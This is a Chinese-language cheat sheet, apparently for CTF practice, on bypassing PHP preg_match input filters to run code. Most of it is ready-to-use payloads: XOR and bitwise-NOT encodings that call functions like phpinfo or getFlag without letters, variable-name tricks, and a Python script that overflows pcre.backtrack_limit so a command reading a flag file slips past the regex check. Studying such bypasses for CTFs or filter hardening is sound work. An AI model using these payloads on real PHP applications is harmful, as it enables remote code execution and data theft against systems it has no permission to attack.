正则绕过
一、preg_match()
1.异或绕过
使用异或绕过:可以使用各种特殊字符的异或构造出字母和数字
str = r"~!@#$%^&*()_+<>?,.;:-[]{}\/"
for i in range(0, len(str)):
for j in range(0, len(str)):
a = ord(str[i])^ord(str[j])
print(str[i] + ' ^ ' + str[j] + ' is ' + chr(a))
构造phpinfo()
$_="`{{{"^"?<>/";${$_}[_]();&_=phpinfo
2.取反绕过
urlencode(~"getFlag")
输出结果为:%98%9A%8B%B9%93%9E%98
payload:?code=$_=~%98%9A%8B%B9%93%9E%98;$_();
在编码前加上 ~ 进行取反
3.取反拼接
~ 在 {} 中执行了取反操作,所以 ${~"\xa0\xb8\xba\xab"} 取反相当于 $_GET,拼接出了 $_GET’+’;,传入 +=getFlag() 从而执行了函数
payload:?code=%24%7B%7E%22%A0%B8%BA%AB%22%7D%5B%AA%5D%28%29%3B&%aa=getFlag
4.取反加中文变量
payload:?code=$啊=(%27%5D%40%5C%60%40%40%5D%27^%27%3A%25%28%26%2C%21%3A%27);$啊();
5.异或(包括变量名)
payload:?code=${"!"^"~"}="]%];,<<"^":@)}@][";${"!"^"~"}();
6.利用正则回溯最大次数上限进行绕过
PHP 为了防止正则表达式的拒绝服务攻击(reDOS),给 pcre 设定了一个回溯次数上限 pcre.backtrack_limit。我们可以通过 var_dump(ini_get(‘pcre.backtrack_limit’));的方式查看当前环境下的上限。回溯次数上限默认是 100 万。那么,假设我们的回溯次数超过了 100 万,preg_match 返回的非 1 和 0,而是 false。
import requests
payload = '{"cmd":"/bin/cat /home/rceservice/flag","test":"' + "a"*(1000000) + '"}'
res = requests.post("http://ecb402ec-0327-483b-bea3-90de34f04525.node3.buuoj.cn/", data={"cmd":payload})
#print(payload)
print(res.text)